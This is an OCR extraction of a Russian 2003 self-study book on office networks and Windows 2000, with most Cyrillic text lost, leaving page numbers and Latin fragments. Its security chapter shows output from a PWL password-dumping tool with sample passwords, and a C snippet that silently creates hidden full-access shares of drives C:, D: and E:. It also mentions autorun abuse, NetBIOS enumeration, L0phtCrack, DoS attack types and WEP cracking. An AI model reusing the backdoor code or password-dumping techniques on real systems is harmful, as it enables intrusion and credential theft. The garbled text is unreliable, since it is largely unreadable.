Офисные Локальные Сети.Самоучитель

IV
..
..
-
2003
32.973.26-018.2.75
32
681.3.07
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. . .
"" :
info@dialektika.com, http://www.dialektika.com
32
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"", 2003. 320 . : .
ISBN 5-8459-0504-4 (.)
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. , Windows 9x ( )
Windows 2000 Server ( ).
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32.973.26-018.2.75

.

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Copyright 2003 by Dialektika Computer Publishing.
All rights reserved including the right of reproduction in whole or in part in any form.
ISBN 5-8459-0504-4 (.)
- "", 2003
14
1.
1.
2.
3.
19
20
31
41
II.
4.
5.
6.
7.
8,
53
54
66
75
88
105
111. WINDOWS 2000

9. Windows 2000
10.
. Windows 2000
12.
13.
14.
15. Web FTP
16. Windows 2000
153
154
179
199
224
238
254
273
287
IV.
.
.

293
294
301
303
14
I.
1.

:

19
20
20
21
21
22
23
23
24
25
26
26
28
28
29
30
30
30
30
2.
31
31
33
34
34
34
35
35
35
36
37
37
37
38
39
39
40
40
41
41
42
43
44
44
45
46
47
OSI

NetBIOS/NetBEUI
IPX/SPX
OSI: IPX
OSI: SPX
TCP/IP
OSI: IP
TCP
U DP

; Internet

3.
Ethernet Fast Ethernet
10Base2
10Base5
lOBaseT
Fast Ethernet
Token Ring
FDDI
lOOVG-AnyLAN

lOOVG-AnyLAN

.
4.
,

Windows NT/2000
NetWare

Ethernet
Ethernet

5.

6.

Windows 2000

Windows 98

:

48
49
50
51
53
54
54
54
56
57
57
58
60
61
62
62
63
63
64
65
65
66
66
67
67
67
68
68
69
69
69
71
72
72
73
73
73
73
75
75
76
77
78
79
81
83
83
84

7.

Internet
,
,
Microsoft
-

ManageWise

TCP/IP,
ping pathping

TCP/IP

8.

DoS

" "
""

,
,

Windows 2000
IP Security
SSL

85
87
87
88
88
88
89
91
92
93
94
94
96
97
97
98
100
100
101
102
102
102
103
104
105
105
105
106
109
114
115
116
123
127
127
127
128
128
128
129
129
129
130
131
131
132
138
139
139

,
-

-

:

140
141
142
142
144
148
148
149
149
150
151
151
152
152
III. WINDOWS 2000

9. Windows 2000
Windows 2000 Server

:

Windows 2000 Server

-/

(HCL)

153
154
154
155
156
157
157
158
160
160
160
160
161
161
161
162
162
162
162
163
163

Windows 2000 Server

'
-

Windows

Winnt Winnt32
, ,

Microsoft
Microsoft

164
164
166
166
166
167
167
169
169
169
170
170
171
171
173
174
164

10.
Active Directory

LDAP .500
RFC822

Active Directory

Windows 2000

11, Windows 2000
TCP/IP
IP-
TCP/IP
TCP/IP
TCP/IP

RIP OSPF

RIP
OSPF

ping
DHCP
DHCP

DNS WINS
DNS
175
175
175
176
178
178
179
179
181
182
1S2
182
182
183
183
183
184
191
191
191
191
192
193
194
195
196
196
196
197
197
197
198
198
199
199
200
201
201
202
206
209
210
211
212
215
216
218
219
219
220
221
221
WINS

12.

RRAS Windows 2000 '
RRAS Windows 2000
Active Directory

MS-CHAP 2

RADIUS

Macintosh

SLIP

Microsoft RAS
Multilink

L2TP

TCP/IP
IPX
NetBEUI
AppleTalk
Internet
Internet

13.
Windows 2000
" ": FAT16 FAT32
NTFS

DFS DFS
222
222
223
224
224
224
226
227
227
227
228
228
228
228
228
229
229
230
230
230
230
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231
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234
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235
235
235
236
237
237
238
238
238
239
241
241
242
243
243
243
244
245
246
11

DFS
DFS

14.
Windows 2000
:

;

Active Directory
Web-

-

15. Web FTP
Web- FTP-
Web-
HTTP
,
12
247
247
24S
248
249
250
250
251
251
251
253
253
253
254
254
254
256
256
257
257
258
258
259
259
260
260
261
261
261
262
264
264
265
265
266
266
266
267
268
269
269
270
270
271
272
272
272
273
273
273
274
274
Web-

1IS
IP-

SSL
Web-
FTP
-
FTP-

-
SMTP
SMTP
SMTP
SMTP
SMTP-

NNTP
NNTP
NNTP

16. Windows 2000
275
275
276
278
278
278
280
280
281
281
281
281
282
283
284
284
284
284
284
284
284
286
286
287

Kerberos
IPSec
Windows 2000
-
287
287
287
288
288
288
288
289
290
291
291
291
292
292
IV.
.

-

.
293
294
296
296
296
298
300
301
303
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PR version 3.SO beta J
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. 8.1. Advanced ZIP Password Recovery
, "" RAR-.
, "ZIP-",
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, ,
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Network Security Scanner 3. ""
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8.
107
Aspeeal4wbofe(!&.)
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features dsabted
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""
, Windows 9x,
. "" , - "" ( ).
"" SMB Windows 9x.
, "" - ,
. ,
. , .
""
GFI LANguard Network Security Scanner (http://www.gfi.com),
. ,
Microsoft Windows 9x. . ,
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() UDP-
IP-.
NETBIOS .
NETBIOS-
, - .
SMB- (Windows 9x/NT/2k/Unix).
108
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( , $, DS, ADMIN$).
( ) Windows 9x.
Windows 9x/NT/2000
.
(, www/ftp/telnet/smtp).
, ( ),
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.
.
, SNMP,
( , ..).
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DNS, IP-, (, DNS-).
.
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(, ).
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HTML.
, Windows 9x
, ,
.
, " " ,
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, , , , , .
LAN guard , Windows 9x.
" " ( 1 ), Windows NT/2000 .
LANguard , :
;
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DoS
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DoS (Denial of Service, 8.
109
).
, Web- .
DoS , "" , . ,
. ""
"" (,
). ""
DoS.
,
. ""
, "".
DoS :
Ping of Death;
, ICMP;
Smurf;
SYN.
.
Ping of Death
(MTU, Maximum Transmission Unit). , . , MTU,
, .
IP-, ICMP, 65 535 ( 8 ).
, , ICMP .
. . "ping of death" (" ").
, ICMP
"" ICMP,
,
Internet . 1
ping, ( IP- , IP-).
ping ICMP- Echo Request
(-), ICMP-, Echo Replay (). ,
IP- . , - .
110
II.
Smurf
ICMP,
. 1,
,
. ,
.
, ,
, . , , ICMP- . , "" , .
. , , ""
.
SYN
, "" , TCP.
. 8.3.
SYN

SYN
. 8.3. TCP

:
SYN, ;
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SYN, ,
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8.
111
( , IP-).
.
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IP- , ,
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115
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. , - . , ira.pwl . , . 10, .
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116
II.
PWL- , Internet . PWL Hacker (http: / / w w w . u i n c . r u / f lies/useful.pwl_h402 .rar):

(C) ll-Sep-1998y by Hard Wisdom " P W L ' s Hacker" V 4 . 0 2
(1996,97,98)
| Enter the User Password:

File ' l . P W L1 ' has size 975 bytes, version [W95osr2_Win98J
for user ' I with password ' ' ' contains:
-[Type]-[The resource location string]
[Password]Dial
*Bna\My Connection\ZZ-top
d4sg43k
Dial
Dial
Dial
Dial
Dial
Dial
*Bna\My Connection\ZZ-TOP
*Bna\My Connection\ZZTOP
*Bna\ByWET 1\2ZTOP
*Bna\ByNET 2\ZZTOP
*Bna\ByNET\neostars
*Bna\ByNET\NeoStars
J Indexed Entryes: 1;
d4sg43k
d4sg43k
eg56sd26gkl
geyuopS
te57dj3
te57dj3
Number of resources: 7.
, , PWL-
:
File 'MASHA.PWL' has size 884 bytes, version [W95osr2_Win98]
for user 'MASHA' with password 'MIKE50' contains:
-[Type]-[The resource location string]
Link
ASHXEMAIL
Link
ASHMNTERNET
Link
ASHVRED
Link ASH\TI_UART
df34fh
df34fh
df34fh
Dial ! crypt_Blizzard_Storm
Url/
MAPI
w w w . x i l i n x . c o m / x i l i n x account
MAPI
Indexed Entryes: 4;
me578
<3f34fh:me578
MAPI
Number of resources: 7.
, PWL-, .
, "", .
PWL-, , .
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,
8.
117
, SMB-
UNIX. , , .
net view \\comp_name.
iFlfetBriite Scanner by Raw t ogir Software
Fesut
. 8.4. NetBrute Scanner
" ?
. nbtstat -a 192.168.20.30.
:
<00> UNIQUE
ALEX
<00> GROUP
AL-31
<03> UNIQUE
ALEX
ALEX
<20> UNIQUE
<1E> GROUP
AL-31
AL-31
<1D> UNIQUE
. . MSBROWSE. .<01> GROUP
(MAC) = 00-00-11-2F-E6-96
.
Workstation Service = ALEX
Domain Name = AL-31
Messenger Service = ALEX {
: net send ALEX "...")
,
File Server Service = ALEX
Browser Service Elections = AL-31
Master Browser = AL-31
- .
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118
II.
, , / ,
. :
Name
Number
computername 00
computername 01
\\_MSBROWSE_ 01
computername 03
computername 06
computername IF
computername 20
computername 21
computername 22
computername 23
computername 24
computername 3 0
computername 31
computername 43
computername 44
computername 45
ompu t ername 4 6
computername 4C
computername 52
computername 87
computername 6A
computername BE
computername BF
username
03
domain
00
domain
IB
domain
1C
domain
ID
domain
IE
INet~Services 1C
IS~Computer_name 00
computername [2B]
IRISMULTICAST [2F]
IRISNAMESERVER
[33]
Forte_$ND8 SA [20]
Type
Usage
U
U
G
U
'U
U
U
U
U
U
U
Workstation Service
Messenger Service
Master Browser
Messenger Service
RAS Server Service
NetDDE Service
File Server Service
RAS Client Service
Exchange Interchange
Exchange Store
Exchange Directory
U
Modem Sharing Server Service
U
Modem Sharing Client Service
U
SMS Client Remote Control
U
SMS Admin Remote Control Tool
U
SMS Client Remote Chat
U
SMS Client Remote Transfer
U
DEC Pathworks TCPIP Service
U
DEC Pathworks TCPIP Service
U
Exchange MTA
U
Exchange IMC
U
Network Monitor Agent
U
Network Monitor Apps
U
Messenger Service
G
Domain Name
U
Domain Master Browser
G
Domain Controllers
U
Master Browser
G
Browser Service Elections
G
Internet Information Server
U
Internet Information Server
U
Lotus Notes Server
G
Lotus Notes
G
Lotus Notes
U
DCA Irmalan Gateway Service
. . ? , ,
( ) /. " " ,
.
.
( ).
share_info_50 shinfoSO;
ZeroMemory(&shinfo50,sizeof(shinfoSO));
shinfo50.shi50_type=STYPE_DISKTREE;
shinfo50.shi50_flags=SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST;
8.
119
shinfo50.shi50_remark="";
// .
Istrcpyn(shinfo50.shi50_netname, "TEMP1S" , LM20_NNLEN-*-l) ;
shinfo50.shi50_path="C:\\";
NetShareAdd(NULL,50,{char*)&shinfo50,sizeof(struct share_info_50));
//
Istrcpyn(shinfo50.shi50_netname,"2$",LM20_NNLEN+1);
shinfo50.shi50_path="D:\\";
NetShareAdd (NULL, 50, (char* } &shinfo50 , sizeof ( struct share__inf o_50 ) ) ;
//
Istrcpyn(shinfo50.shi50_netname,"TEMP3S",LM20_NNLEN+1);
shinfoSO .shi50_path="E:\\" ,NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50)};
FillMemory({VOID*)OxFFFFFFFF, 1, 0);
// ,
// .
// Win95/98/Me.
// Windows NT/2000
// .
"-" :
\\comp_name\templ$ ( ). ,
? SHI50F__FULL,
SHJ50F_SYSTEM, SHI50F_PERSIST, "$".
:
;
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LanMan. .reg, . "",
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120
II.
Win9x.) ,
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[autorun]
open=autorun.exe
icon=autorun.exe
"open" . , , , - ^ D:. , Win2000 .
autorun. inf , .
,
, .
. ,
( Windows9x):
// : char *resname, char *password
DWORD RetVal;
NETRESOURCE nr;
nr.lpRemoteName=resname;
nr.dwType=RESOURCETYPE_DISK;
RetVal=WNetAddConnection2(&nr,password,NULL,CONNECT_UPDATE_PROFILE);
Windows9x
.
Windows NT/2000, ( "/"). , . (/
) Windows
NT/2000. ,
( , ).
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. , SMB- Microsoft , , , .
, ,
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"PQWak".
.
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. , , , . Microsoft Web-
http://www.microsoft.com/technet/bullettin/msOO-072.asp.
8.
121
, Windows NT4/2000 "NetBIOS: Null Session". NULL

IPCS, ,
.. "1"
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA
Name: RestrictAnonymous.
TCP,
139 "-", .
IPX, .
SMB.
: IP. - iP/TCP/Wetbios/SMB
: IPX. NT - IPX/Netbios/SMB. Win9x (default)
IPX(:NMPI)/SMB
He , ""
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TCP, . telnet, ftp, , .
"ssh", "apop" , .
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"LANMAN1-0" ., ,
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, hash-. ,
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NT/2000.
LOpntCrack (. 8.5), Sniffing.
"" ,
. ,
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- ? -,
Windows NT/2000, Windows95/98/Me,
, LANMAN2.1, . ,
Windows NT/2000 , Windows9x (
). DWORD HKEY_LOCAL_MACHiNE\system\
CurrentControlSet\Control\Lsa\LMCompatibilityLevel " 2 " .
-, , ,
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122
II.
, -, " " , ""

, ARP- ICMP-
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File
View Import Session Hdp
Use-Name
J^PRIVATE-GPD...
i...
! LM Password'
I ,<8
??7?W?T
* empty *
empty
. 8.5. LOpntCrack
.
? ""
Internet, "", -
proxy-. , IPX/SPX.

(,
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. , WEP (Wired Equivalent Privacy). ,
, 94 %
.
(International Chamber of
Commerce), (The Cybercrime Unit),
. "", , - , " ". ,
.

(Berkeley), (Nikita Borisov), (Ian Goldberg)
(David Wagner), " "
WEP. , 2001
8.
123
(Scott Fluhrer), (Itsik

Mantin) (Adi Shamir) " "
RC4, WEP. 2001 Rice AT&T
Research (Adam Stubblefield), (John loannidis)
. (Aviel D. Rubin) ,
. ,
"" , -
. ,
, ,
Internet. , .
1
WEP
WEP 64
128 . 24- (IV,
Initialization Vector) , 40 104 .
40- 64-.
; , .
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.
WEP .
(1C, Integrity Check) .
.
RC4 IV.
WEP 1C , " " (XOR). IV , . RC4 IV
,
XOR.
:
WEP
IV. , , XOR ,
, IV,
RC4, .
24 , ( 1500
11 /) 5 .
24 . , , IV , , RC4.
IV,
24 IV. IV , ,
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, , IV ,
124
II.
. ,
IV.
(Fluhrer), (Martin) (Shamir)
, 5 %. ( 8,5 ) IV WEP.
, WEP
(Hex),
ASCII-. , , , , ,
.
Internet
Web- Internet , Internet. , Prism-2. , , Compaq WL100, D-Link
DWL-650, Linksys WPC11 SMC 2632W, . .
,
Linux (WLAN-NG),
. "" , WEP .

( )
, . , ,
. , . , .
. XOR.
,
IP-. , ,
Internet, , ,
,
no Internet.
""
WEP, RSA Security
( RC4) Hifn . , ,
RC4 Fast Packet Keying. RC4
.
128- RC4, Temporal Key (TK). ,
. 16- IV,
- 128- RC4. RC4 Fast Packet Keying
,
.
8.
125
Cisco
Cisco
Aironet, , , ,
Cisco. LEAP (Lightweight Extensible Authentication Protocol),
Cisco,
Cisco Radius Server (Access Control Server 2000 V2.6).
Cisco
. , ,
, .
Cisco ,
WEP- , - .
,
. WEP LEAP , .
WEP.
Access Control Server 2000 2.6
. . ,
.
, , IV WEP .

. , ,
. ,
, .
IEEE
WEP RC4, .
Wi-Fi Alliance, 150 , , 802.11. , Wi-Fi Protected Access
(WPA), Wired Equivalent Privacy (WEP), , , Wi-Fi,
. , .
"" 10-20 ,
( 64 128- ) . , , WEP Internet, ,
WLAN-, , .
IEEE 802.111,
.
WLAN- WPA
. WPA WEP, ,
. WPA
.
126
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//.
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MS-DOS .
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130
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.
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, . , ,
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131
Windows 2000
, , (EFS, Encrypted File System), NTFS. . ,
NTFS, . ,
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( ).
EPS , ,
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.
EFS
EPS , - . - EFS, .
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Windows 2000, ,
Service Pack 2 High Encryption Pack, 128- .
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132
II.
,
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. 8.6.
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Windows 2000
EFS, ,
Windows 2000
(128- ).
Windows 2000 Professional 56 . Service Pack 2 128-
, .

Windows 2000, 128- ,
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\WINNT\SYTEM32 Rsaenh.dll.
8.
133
, .
.
Service Pack 2 ( ) Windows 2000,
,
, , .
Encpack.exe, High Encryption Floppy
Disk, Windows 2000 Professional.
High Encryption Pack Web- Microsoft
http: //www.micro3oft.corn/windows2000/downloads/recommended/
encryption.
i

NTFS, .
, NTFS. , NTFS
" ". -, , , . , , ( , ), NTFSDOS.exe.
, , Web-
Sysinternals http: //www. sysinternals .com.
.
1. NTFS, , .
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3. . ,
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4. ....
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5. .
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EFS , . ,
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134
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? ,

"" Windows 2000. , "" - . - , !
Windows (SID,
Security Identifier) , , .
, ,
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D. ( )
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[: Documents and Settings
;: G&we |'flpeTs| )
JDccuments and Seltngs

*
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135
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EFS .
1. , . .
2. - (
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4. , .
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, ,
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EFS
Windows 2000 EFS .
1. (. 8.9). ,
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secpol.msc
2.
.
3. Administrators Delete ().

, (
). , EFS
Windows 2000 .
4. Yes ().

. , , (. 8.10).
136
II.

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, , .
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IPSec (IPSecurity, IP-). OSI "" .
IPSec : (Authentication Header, ) ESP (Encapsulating Security Payloads, ). , .
IPSec ,
. "-", .. . ,
.
138
II.
SSL

SSL (Secure Sockets Layer, ).
. SSL
OSI, .
SSL Netscape
Web- Netscape.
Web- Internet Explorer,
.

, . .
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Internet.
, (. 8.12).
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139
,
.
Microsoft Outlook 2000.
Internet Explorer
"" HTML-, .
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.
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Visual Basic for Applications, Microsoft Office ), "" ,
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.doc) ,
( .). Microsoft
Office, Office 97. Office XP Office 2000 ,
.
"" (High),
,
.
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Kerberos;
PSP (Pretty Good Privacy).

, Microsoft Outiook Express ( 5.5). ,
,
. . 8.13 ,
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140
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, .
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.
, Active Directory, . ,
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.
Active Directory
DNS
. Active Directory Active Directory DNS.
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, .
, . Active Directory ,
.
, .

Windows 2000
. . 10.3 ( 10.
183
). (
16).

,

. 10.3.

beros. .
Active Directory
Active Directory
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Windows 2000 (. 10.4). , Active Directory NTFS,
, .

Active Directory Active Directory.
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(. 10.5).
.
(. 10.6), , (
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184
III. Windows 2000
. (
EFS) . , .
.

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186
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187
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188
III. Windows 2000
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190
III. Windows 2000

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. Active Directory, . .

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Windows 2000 Server /
, Active Directory, () .
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191
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) intranet- .

(security identifier). , .
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( SID).

, Active Directory
SAM. . , (RID, Relative
Identifier). RID ( ).
192
III. Windows 2000
, SID, ,
. , .
SID , ,
.

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Windows 2000 . .
.
Windows 2000,
(ACL).
,
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194
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196
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(, ).
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Windows 2000, .

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10.
197
.
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. , .
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1. Active Directory?
) TCP/IP;
) IPX/SPX;
) LDAP.
2. ?
) ;
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3. NTFS Active Directory?
) ;
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198
III. Windows 2000
11

Windows 2000
...
+
TCP/IP
TCP/IP
*
+ DHCP
* DNS WINS
*
TCP/IP, , .
TCP/IP

, Windows 2000
TCP/IP, .
TCP/IP Transmission Control Protocol/Internet
Protocol ( / Internet). IP
( ), TCP IP-
(.. ).
TCP/IP (Microsoft, UNIX, Linux, Macintosh ..). .
TCP/IP
. , Internet, , . ,
NetBIOS,
.
, NetBIOS , , , Internet.
IP-
, TCP/IP,
IP-, . IP-,
, IP-
TCP/IP.
IP- Windows 2000 Server TCP/IP
" " .
IP- 32- ,
, . IP-
. .
6 , IP-. , IP , , ( 254 ).
IP-
. 32- ,
. IP- : .
( ),
IP-:
10.0.0.1, 255.Q.O.O;
169.254.0.0, 255.255.0.0;
172.26.0.0, 255.240.0.0;
192.168.0,0, 255.255.0.0.
, Internet. ( 16 777 214
).
, 255.0.0.0,
- 255.255.0.0, - 255.255.255.0.
, IP-
, , ,
.
.
Internet ( proxy-, NAT- ),
IP-, IP-.
Internet.
Internet,
- .
Internet, , .
TCP/IP .

, .
200
/. Windows 2000
(RRAS, Routing
and Remote Access Service).
. 11.1 , Internet .
Dtatektika
DNS-
DHCP-
Ethernet
AFD
WlNS-
. 11.1. , Internet
TCP/IP

, TCP/IP . -
, .
TCP/IP
TCP/IP
.
^^ .
, TCP/IP,
. (. 11.2). TCP/IP , .
^. TCP/IP
( (TCP/IP)) .
11. Windows 2000
201
I
:
>** Micto;_J S) " NetBEUI

Y" >1*__.
Oweowwr *<
* MiwotoIL
OK
. 11.2.

TCP/IP
() TCP/IP
. , TCP/IP,
. (. 11.3).
IP- . , IP-
DHCP.
IP-.
IP-.
IP-. IP- , .
. ( , ).
. , IP-,
.
DNS- .
DNS- DNS-.
IP-.
DNS-. IP-, DNS-.
202
. Windows 2000
DNS-. IP- DNS-, , IP.

I : rear -f (/) :
j
'
1^1 .*
.
IP .
f - IP-aapec
'- :**" 131-;.--
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, TCP/IP
DNS-. IP- DNS-, IP- , () DNS- .

,
TCP/IP ( IP,
. .4), IP- ,
. (),
. , .
DNS, WINS, .
.
DNS (. 11.5) DNS. , DNS-, ,
, DNS.
.
* DNS- . , . DNS- .

DNS-, .
11. Windows 2000
203
1|[)5 } WINS
-1-<~"

. 11.4.
TCP/IP, IP
DNS-. ,
. ,
DNS- support .microsoft, com. Bill bill .support.rtiicrosoft.com bill .microsoft.com.
DNS- ( ). , DNS.
DNS- . DNS, ,
.
DNS. DNS- IP-. DNS- IP-.
,
.
DNS- DNS.
, DNS-
IP-. ,
,
DNS-,
DNS- .
204
III. Windows 2000
-&NE I WINS [!
DHS-. :
. : "
,!
!? ^
. 11,5.
, DNS
WINS (. 11.6) WINS.

,
.
LMHOSTS. LMHOSTS NetBIOS IP-.
LMHOSTS. ,
LMHOSTS - LMHOSTS.
NetBIOS TCP/IP.
NetBIOS TCP/IP (NetBT WINS). , ,
Windows 9x Windows NT.
, Windows 2000
Internet
DNS.
NetBIOS TCP/IP.
NetBT , .
NetBIOS DHCP-. DHCP- WINS.
(. 11.7) IP Security (IPSec), IP-,
1
(. 11.8). IPSec
IP-.
, .
11. Windows 2000
205
)?! DNS'' "-WINS

,
. ICP/IP.
LMHOSTS,.
*V NetfifflS
'fÛwwwfcSeem * TCP/IP
'*"1"'^ NetBIOS DHCF*cepeepa
. 11.6. WINS
TCP/IP,
TCP/IP (. 11.9).
, IPSec. TCP/IP, UDP, IP.

"". .
"", , . . 11.10 ,
Internet .
. , ,
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:
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206
III. Windows 2000
OHS | WINS
;.IP-SiSOfWCHOClb'
TCP/IP
|.. I -! ,
\- ( IP-
^..' 1-*"
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IPSec
I -6
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. " " , .
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.
.
"" .
.
11. Windows 2000
207
.^
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1*
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I UDP-j-Kprej
'OK ; - j
. 11.9. TCP IP, IP
193.172.1.5
. 11.10.
Internet
- . RIP
(Routing Information Protocol, ) OSPF (Open
Shortest Path First, ).
.
208
III. Windows 2000
RIP OSPF
RIP
, 15 .
, , .
, . .
OSPF . , ,
. - , .
OSPF ,
.
RIP.
(RRAS, Routing and Remote Access
Service), Windows 2000, Windows 2000 , , .
^^^
. ,
(. 11.11).
,
(. 11.12). Internet ( ).

, :
(ICS).
Internet
.
(NAT).
, (
).
.
. .
, RRAS .
.
, .
IP-. IP-
DHCP, IP-.
11. Windows 2000
209

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(
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Mat- -

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( .
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. 11.12.

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.

RRAS, IP-.
,
.
(. 11.13), .
210
III. Windows 2000
Macsa ;
;
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. ,
.
.
. , .
RRAS , .
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. .
0.0.0.0.
. , ( ).
.
"" . , .
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, ,
, .
, RRAS, , . ,
, . ,
.

RIP OSPF.
.
11. Windows 2000
211
RIP
RIP, .
RRAS IP-.
.
RIP 2 IP . IP RIP.
, , RIP . .

RIP. ,
(. 11.14).
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] RIP 2.
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1
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. 11.14. RIP
. , RIP ( ).
RRAS RRAS , . , RIP ,
( ).
. , RIP-.
. , RIP-.
,
.
212
III. Windows 2000
.
, .
.
. RIP 2.
/. / RIP
2. .
(. 11.15) , / RIP- ,
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. 11.15.
RIP
(. 11.16) . .
(
RIP).
RlP-,
.

. , RRAS RIP-, , RIP- .
11. Windows 2000
213
j |
'
1 &
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. ,
RRAS RIP-, . ,
RIP-.
RIP (. 11.17).
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RIP- .
(). "" ,
RIP. ,
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"" . , .
" ". ( 16),
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.
214
III. Windows 2000
RIP -
JJ*j
I j
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RIP
.
RIP , 15,
, .
. , RIP .
. .
. ,
RI - .
.
RIP.
.
,
.
OSPF
OSPF RRAS, IP-.
. OSPF-
.
11. Windows 2000
215
OSPF . (. 11.18).
: OS!*f - -' fs.
Otwuej NBMA j
1
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OSFf-4#rrep*efte
ofinacrtr
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OSPF : ,
NBMA, .
(. . 11.18) ,
, , .
NBMA (. 11.19) OSPF NBMA
( ).
(. 11.20) OSPF , , MTU
.

- TCP/IP
, . IP, .
, DNS
IP-.
,
. , ,
.
216
III. Windows 2000
''"?* f.
IPâapee IP-aepoc:
. 11.19. NBMA
OSPF
| C&eeflii'NBMA [
()1
^ []:
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(,).
. 11.20.
OSPF
TCP/IP
. .
.
IP-.
11. Windows 2000
217
,
.
^ .

. , TCP/IP .
. IP,
DHCP. ipconfig/all IP-,
.
ping localhost , /
. .
, , .
ping _, . DNS. DNS-, .
ping ,
, Windows 2000,
NET.
NetBIOS. WINS , NetBIOS WINS TCP/IP.
, ,
.
Web-, IP-,
. "" DNS.
, DNS-, ,
.
,
Windows 2000 . ping.
ping
ping ICMP (Internet Control
Message Protocol, Internet), (). ping , . .
(. 11.21) ping
(127. . 0.1).
C:\>ping 1 2 7 . 0 . 0 . 1
218
III. Windows 2000
12'/...1 32 :
127.U.. 1: =32 TTL=128
O i B t i U T 12V.0..1: =32 <1 TTL-t28
127.Q.0,1-- =32 <1([1 TTL=I2H
. 11.21. ping
ping.
ping IP-,
,
.
, .
DNS Hosts
.
Hosts . .
DNS. , .
ping:
ping E-t] [-a] [-n ] [-1 ] [ - ] [-i TIL] [-v TOS] [- ]
[-s ] [ [ - j ] | [-k ]] [-w ]
DHCP
DHCP, Windows 2000 Server,
. .
DHCP
DHCP ( ) . ,
.
^=>^.
DHCP (. 11.22).
11. Windows 2000
219
.
3-|)<-66 [169,254,216.2= I^cta!ekH-e63624 [169,254.216.252]
. 11.22. DHCP

DHCP IP, , . DHCP, . ,
, .
. DCHP . , "
".
.
.
'' ".
IP-. IP-, .
IP-. IP-, .
.
IP-.
. , IP.
.
.
.
.
DHCP , , . IP- .
220
III. Windows 2000
DNS WINS
DNS (Domain Name Service, )
IP-.
, . ,
IP- .
WINS (Windows Internet Naming Sevice, Internet Windows)
NetBIOS,
NetBIOS IP-.
NetBIOS LMHOSTS. WINS Windows ( Windows 2000).
DNS
DNS
. ,
Windows. . DNS .
DNS (. 11.23) , , .
\>*'.
_J

. 11.23. DNS
WINS
WINS DNS. . 11.24
WINS.
11. Windows 2000
221
. 11.24. WINS

Windows 2000
DNS WINS, . IP- , DNS- WlNS-.
DHCP , DHCP DNS WINS.
DHCP , . ^^ . .
TCP/IP .
.
Windows NT Windows 9
DNS .
TCP/IP .
" " - - ,
Windows 2000. ,
TCP/IP, DHCP, DNS WINS. , .
222
III. Windows 2000

1. IP-?
) Internet;
) Internet ;
) Internet .
2. "" ?
) ;
) ;
) .
3. (
DNS)?
) IP-, ,
, IP- ;
) IP- , ,
, IP-;
) .
11. Windows 2000
223
12

...
Internet

4
, Windows 2000
, Internet.
RAS (Remote Access Service, ) Windows 2000

Windows 2000
- ( Internet). , Windows 2000, () .
RRAS (Routing and Remote Service) Windows 2000 Server . RAS RRAS
Windows 2000 . RRAS, Windows 2000
.
RRAS Windows 2000

-
, . , , , , . ,
Internet. . 12.1. .
RRAS
. 12.1. RRAS

RRAS Windows 2000 .

. RRAS , Internet, (, , ISDN, , , .25,
ATM). Windows 2000
,
.

, Internet.
. , Windows 2000,
. ,
,
.
, IP- ,
RAS-. Windows 2000 ,
, . RADIUS (Remote Authentication
Dial In User Service, ).
, .
12.
225
. Windows 2000 Windows 2000 . Windows 2000

, , , ,
.
RRAS Windows 2000 , . Windows NT Server . RRAS Windows 2000
Windows NT.
RRAS Windows 2000
, Windows 2000.
, ,
, .
, ( ), .
" " .
, Windows 2000 .
Windows 2000 , .
RADIUS. RADIUS RRAS Windows 2000 , , UNIX.
RRAS Windows 2000 Active Directory. , ,
, .
Active Directory ,
Active Directory.
, RRAS Windows 2000 , , SLIP,
Microsoft. , MS-CHAP, CHAP (Challenge Handshake Authentication Protocol, ),
SPAP (Shiva Password Authentication Protocol, Shiva) PAP (Password Authentication Protocol, ). TCP/IP,
IPX/SPX, NetBEUI AppleTalk,
Microsoft, UNIX, NetWare Macintosh.
RRAS Windows 2000

RAS RRAS Windows NT, " " RRAS Windows 2000.
.
226
III. Windows 2000
Active Directory
, RRAS Windows 2000 Active Directory. . Active Directory
RRAS RRAS.

(Bandwidth Allocation Protocol,
) (Bandwidth Allocation Control Protocol, ) Windows 2000 RAS
.
, RAS , , . , RAS ,
. , , .
MS-CHAP 2
( Windows NT)
MS-CHAP (Microsoft Challenge Handshake Authentication, ). MS-CHAP 2
(VPN, Virtual Private Network). , Internet.
CHAP 2 .
LAN Manager,
, ( ). , MS-CHAP 2 LAN Manager.
MS-CHAP 2 ,

. MS-CHAP ,
, ,
,
MS-CHAP 2 .
40- , . 2 .
2
.
12.
227
EAR
(Extensible Authentication Protocol, ) ,
, NTFS 5.0 (
13). , .
Windows 2000 EAP-MD5
CHAP (Challenge Handshake Authentication Protocol), EAP-TLS (Transport Level Security, ), RADIUS.
.
RADIUS
RRAS Windows 2000 RADIUS, RADIUS,
IAS (Internet Authentication Service, Internet),
Windows 2000. RADIUS
Windows 2000, RRAS RADIUS
UNIX RADIUS . RADIUS . , ,
.

Windows 2000
. RAS , "". Windows 2000
,
.
,
, , , , .
Macintosh
Windows 2000
Macintosh, AppleTalk
( Macintosh). Macintosh RAS
Windows 2000 "-"
AppleTalk.

RAS Windows 2000 .
. , 228
///. Windows 2000
, ( " "). ,
, , .

Microsoft , RRAS . (. 12.2)
RRAS .
^ /ieft*

g) DIWEKTI-E63&24 (
:
J^
"
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_
"
...
164.25a.2L6.
127.0.0.1
.,
j3. IP-

[i! fig
,+!
. 12.2.
,
RRAS. , , , RRAS.
, RRAS . , ^^
^ .

Windows 2000 . .
12.
229
SLIP
SLIP (Serial Line Internet Protocol, ) UNIX.
, ( ). Windows 2000 SLIP ,
UNIX ( , SLIP),
Windows 2000 Server SLIP .

(Point-to-Point Protocol, "-") ,
SLIP, .
SLIP, , -. Windows 2000
. Windows 2000 IPX, TCP/IP, NetBEUI, AplIeTalk . , Windows (Windows 2000, Windows NT, Windows 9x Windows 3.x), IPX, TCP/IP,
NetBEUI, AppleTalk. Macintosh
TCP/IP, AppleTalk. , MS-CHAP, EAP, CHAP
(Challenge Handshake Authentication Protocol, ), SPAP .
Microsoft RAS
Microsoft RAS Microsoft NetBIOS.
Windows NT 3.1, Windows for Workgroups, MS DOS LAN Manager.
NetBIOS.
NetBIOS , NetBEUI, NetBEUI TCP/IP,
NetBEUI IPX. Microsoft RAS Microsoft.
Multilink
( Multilink, ""), Multiiink, . , Multilink
33,6 /,
67,2 /.
Multiiink,
. ,
. ,
,
.
230
III. Windows 2000

TCP/IP (
), , , Internet. (Point-to-Point
Tunneling Protocol, "-")
IP IPX, .
, (VPN, Virtual Private Network), .
- ,
MS-CHAP EAP-TLS. ,
.
, MS-CHAP, EAP-TLS.

, Internet, IPSec.
L2TP
L2TP (Layer Two Tunneling Protocol, ) IPSec,
. , ,
L2TP IPSec.
